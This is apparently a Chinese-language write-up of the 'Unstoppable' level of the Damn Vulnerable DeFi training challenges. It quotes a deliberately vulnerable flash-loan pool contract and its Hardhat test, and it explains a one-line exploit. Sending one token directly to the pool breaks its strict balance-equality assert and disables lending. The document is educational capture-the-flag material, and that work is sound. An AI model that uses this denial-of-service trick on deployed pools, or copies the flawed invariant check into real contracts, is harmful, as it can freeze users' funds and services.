unstoppable
Damn Vulnerable DeFi 是一个 Defi 智能合约攻击挑战系列。内容包括了闪电贷攻击、借贷池、链上预言机等。在开始之前你需要具备 Solidity 以及 JavaScipt 相关的技能。针对每一题你需要做的就是保证该题的单元测试能够通过。
先执行下面的命令
# 克隆仓库
git clone https://github.com/tinchoabbate/damn-vulnerable-defi.git
# 切换分支
git checkout v2.2.0
# 安装依赖
yarn
在 test 文件中的 *.challenge.js 编写你的解决方案,之后运行 yarn run [挑战名]
, 没有报错则通过。
首先开始第一题 Unstoppable
题目描述:
有一个余额为 100 万个 DVT 代币的借贷池子,免费提供了闪电贷的功能。需要有一种方法能够攻击该借贷池,并阻止该借贷池的功能。
该题的智能合约共有两个文件
UnstoppableLender.sol 借贷池合约
contract UnstoppableLender is ReentrancyGuard {
IERC20 public immutable damnValuableToken; // DVT token实例
uint256 public poolBalance; // 当前合约中的 DVT 余额
constructor(address tokenAddress) {
require(tokenAddress != address(0), "Token address cannot be zero");
// 由 DVT token 地址创建合约实例
damnValuableToken = IERC20(tokenAddress);
}
// 存入 token 到该合约中
function depositTokens(uint256 amount) external nonReentrant {
require(amount > 0, "Must deposit at least one token");
// 调用 DVT token 智能合约中的 transferFrom 方法
// 从合约调用者的DVT余额中转 amont 数量到该合约中
damnValuableToken.transferFrom(msg.sender, address(this), amount);
// 增加余额
poolBalance = poolBalance + amount;
}
// 提供的闪电贷方法
function flashLoan(uint256 borrowAmount) external nonReentrant {
require(borrowAmount > 0, "Must borrow at least one token");
// 获取该合约中 token 余额
uint256 balanceBefore = damnValuableToken.balanceOf(address(this));
// 确保余额大于借出的数量
require(balanceBefore >= borrowAmount, "Not enough tokens in pool");
// 确保记录的余额等于真实的余额
assert(poolBalance == balanceBefore);
// 将 token 从合约中转出到合约调用者
damnValuableToken.transfer(msg.sender, borrowAmount);
// 执行合约调用者的 receiveTokens 方法
IReceiver(msg.sender).receiveTokens(address(damnValuableToken), borrowAmount);
// 确保已返还 token
uint256 balanceAfter = damnValuableToken.balanceOf(address(this));
require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back");
}
}
ReceiverUnstoppable.sol 执行闪电贷的合约
import "../unstoppable/UnstoppableLender.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract ReceiverUnstoppable {
UnstoppableLender private immutable pool; // 借贷池实例
address private immutable owner;
constructor(address poolAddress) {
pool = UnstoppableLender(poolAddress);
owner = msg.sender;
}
// Pool will call this function during the flash loan
function receiveTokens(address tokenAddress, uint256 amount) external {
// 确保该方法的调用者是 pool 地址
require(msg.sender == address(pool), "Sender must be pool");
// 返还 token 到 msg.sender
require(IERC20(tokenAddress).transfer(msg.sender, amount), "Transfer of tokens failed");
}
// 执行闪电贷
function executeFlashLoan(uint256 amount) external {
require(msg.sender == owner, "Only owner can execute flash loan");
pool.flashLoan(amount);
}
}
智能合约很简单,有个借贷池的合约,我们可以往其中存入 token, 并且提供了闪电贷的功能。还有个执行闪电贷功能的合约,其可以调用借贷池合约的 flashLoan 方法借出 token,并在其回调的方法中返还借出的 token。
为了完成使借贷池功能失效,需要在 test/unstoppable/unstoppable.challenge.js 文件中编写你的攻击代码。
const { ethers } = require('hardhat')
const { expect } = require('chai')
describe('[Challenge] Unstoppable', function () {
let deployer, attacker, someUser
// Pool has 1M * 10**18 tokens
const TOKENS_IN_POOL = ethers.utils.parseEther('1000000')
const INITIAL_ATTACKER_TOKEN_BALANCE = ethers.utils.parseEther('100')
before(async function () {
/** SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE */
// 生成三个账号
;[deployer, attacker, someUser] = await ethers.getSigners()
// 获取token合约和借贷池合约
// token 合约位于 contracts/DamnValuableToken.sol,构造函数中给 deployer type(uint256).max 个token
const DamnValuableTokenFactory = await ethers.getContractFactory(
'DamnValuableToken',
deployer
)
const UnstoppableLenderFactory = await ethers.getContractFactory(
'UnstoppableLender',
deployer
)
// 本地节点中发布 token 合约 和 借贷池合约
this.token = await DamnValuableTokenFactory.deploy()
this.pool = await UnstoppableLenderFactory.deploy(this.token.address)
// deployer 授权给借贷池合约可以操作其账户的 TOKENS_IN_POOL 数量的token
await this.token.approve(this.pool.address, TOKENS_IN_POOL)
// 将 deployer 的 TOKENS_IN_POOL 数量的 token 转入到借贷池
await this.pool.depositTokens(TOKENS_IN_POOL)
// 将 deployer 的 INITIAL_ATTACKER_TOKEN_BALANCE 数量的 token 转入到 attacker 地址
await this.token.transfer(attacker.address, INITIAL_ATTACKER_TOKEN_BALANCE)
// 断言:确保借贷池中 token 转入成功
expect(await this.token.balanceOf(this.pool.address)).to.equal(
TOKENS_IN_POOL
)
// 断言:确保 attacker 地址中 token 转入成功
expect(await this.token.balanceOf(attacker.address)).to.equal(
INITIAL_ATTACKER_TOKEN_BALANCE
)
// 获取执行闪电贷的合约
const ReceiverContractFactory = await ethers.getContractFactory(
'ReceiverUnstoppable',
someUser
)
// 发布合约
this.receiverContract = await ReceiverContractFactory.deploy(
this.pool.address
)
// someUser 执行合约的 executeFlashLoan 方法,借出10个 token 并返还
await this.receiverContract.executeFlashLoan(10)
})
it('Exploit', async function () {
/** CODE YOUR EXPLOIT HERE */
// 从 attacker 的账户转 1 个token到借贷池中
// 该代码可完成攻击
await this.token.connect(attacker).transfer(this.pool.address, 1)
})
after(async function () {
/** SUCCESS CONDITIONS */
// It is no longer possible to execute flash loans
await expect(this.receiverContract.executeFlashLoan(10)).to.be.reverted
})
})
该测试脚本主要做了几件事
- 从 deployer 转入 1000000 个 token 到借贷池中
- 从 deployer 转入 100 个 token 到 attacker 地址中
- someUser 执行闪电贷借出了 10 个 token 并归还
- 从 attacker 转入 1 个 token 到借贷池中
- 再次执行闪电贷会报错
为什么执行下面的代码会使用闪电贷功能失效呢
await this.token.connect(attacker).transfer(this.pool.address, 1)
原因在于借贷池合约的 flashloan 方法中的assert(poolBalance == balanceBefore);
期望 poolBalance 的值等于真实余额。 当调用 depositTokens 存入 token 时,poolBalance 变量能够正确的计算。但当我们手动转入 token 时,poolBalance 变量并没有如期的进行相加。而此时借贷池合约中的 token 真实余额是大于 poolBalance 的,所以会使闪电贷功能失效。
最后执行 yarn unstoppable
, 测试通过!